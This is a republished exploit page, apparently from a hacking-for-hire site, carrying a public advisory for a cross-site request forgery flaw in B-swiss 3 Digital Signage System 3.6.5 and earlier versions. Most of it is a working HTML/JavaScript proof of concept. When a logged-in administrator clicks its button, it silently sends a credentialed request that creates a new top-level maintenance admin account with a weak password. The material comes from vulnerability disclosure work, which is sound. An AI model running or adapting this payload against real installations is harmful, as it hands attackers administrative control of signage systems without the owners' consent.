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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin)
# Date: 2020-09-16
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.b-swiss.com
# Version: 3.6.5
Affected version: 3.6.5,3.6.2,3.6.1,3.6.0,3.5.80,3.5.40,3.5.20,3.5.00,3.2.00,3.1.00

<!--

B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin


Vendor: B-Swiss SARL | b-tween Sarl
Product web page: https://www.b-swiss.com
Affected version: 3.6.5
                  3.6.2
                  3.6.1
                  3.6.0
                  3.5.80
                  3.5.40
                  3.5.20
                  3.5.00
                  3.2.00
                  3.1.00

Summary: Intelligent digital signage made easy. To go beyond the
possibilities offered, b-swiss allows you to create the communication
solution for your specific needs and your graphic charter. You benefit
from our experience and know-how in the realization of your digital
signage project.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Linux 5.3.0-46-generic x86_64
           Linux 4.15.0-20-generic x86_64
           Linux 4.9.78-xxxx-std-ipv6-64
           Linux 4.7.0-040700-generic x86_64
           Linux 4.2.0-27-generic x86_64
           Linux 3.19.0-47-generic x86_64
           Linux 2.6.32-5-amd64 x86_64
           Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64
           macOS 10.13.5
           Microsoft Windows 7 Business Edition SP1 i586
           Apache/2.4.29 (Ubuntu)
           Apache/2.4.18 (Ubuntu)
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Win64)
           Apache/2.4.18 (Ubuntu)
           Apache/2.2.16 (Debian)
           PHP/7.2.24-0ubuntu0.18.04.6
           PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1
           PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1
           PHP/5.6.31
           PHP/5.6.30-10+deb.sury.org~xenial+2
           PHP/5.5.9-1ubuntu4.17
           PHP/5.5.9-1ubuntu4.14
           PHP/5.3.10
           PHP/5.3.13
           PHP/5.3.3-7+squeeze16
           PHP/5.3.3-7+squeeze17
           MySQL/5.5.49
           MySQL/5.5.47
           MySQL/5.5.40
           MySQL/5.5.30
           MySQL/5.1.66
           MySQL/5.1.49
           MySQL/5.0.77
           MySQL/5.0.12-dev
           MySQL/5.0.11-dev
           MySQL/5.0.8-dev
           phpMyAdmin/3.5.7
           phpMyAdmin/3.4.10.1deb1
           phpMyAdmin/3.4.7
           phpMyAdmin/3.3.7deb7
           WampServer 3.2.0
           Acore Framework 2.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5589
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5589.php


13.06.2020

-->


<html>
  <body>
  	<h1>CSRF Add b-swiss Maintenance Admin</h1>
    <script>
      function GodMode()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.10.11\/index.php", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryfH6TtIgiA4Qhr6Ed");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"locator\"\r\n" + 
          "\r\n" + 
          "Users.Save\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"page\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"sort\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"id\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"ischildgrid\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"inpopup\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"ongridpage\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rowid\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"preview_screenid\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_firstname\"\r\n" + 
          "\r\n" + 
          "TestingusF\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_lastname\"\r\n" + 
          "\r\n" + 
          "TestingusL\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_email\"\r\n" + 
          "\r\n" + 
          "aa@bb.cc\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_username\"\r\n" + 
          "\r\n" + 
          "testingus\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_password\"\r\n" + 
          "\r\n" + 
          "123456\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_cpassword\"\r\n" + 
          "\r\n" + 
          "123456\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_adminlevel\"\r\n" + 
          "\r\n" + 
          "100000\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_status\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_poza\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_poza_face\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_language\"\r\n" + 
          "\r\n" + 
          "french-sw\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_languages[]\"\r\n" + 
          "\r\n" + 
          "2\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" + 
          "Content-Disposition: form-data; name=\"rec_can_change_password\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Press me" onclick="GodMode();" />
    </form>
  </body>
</html>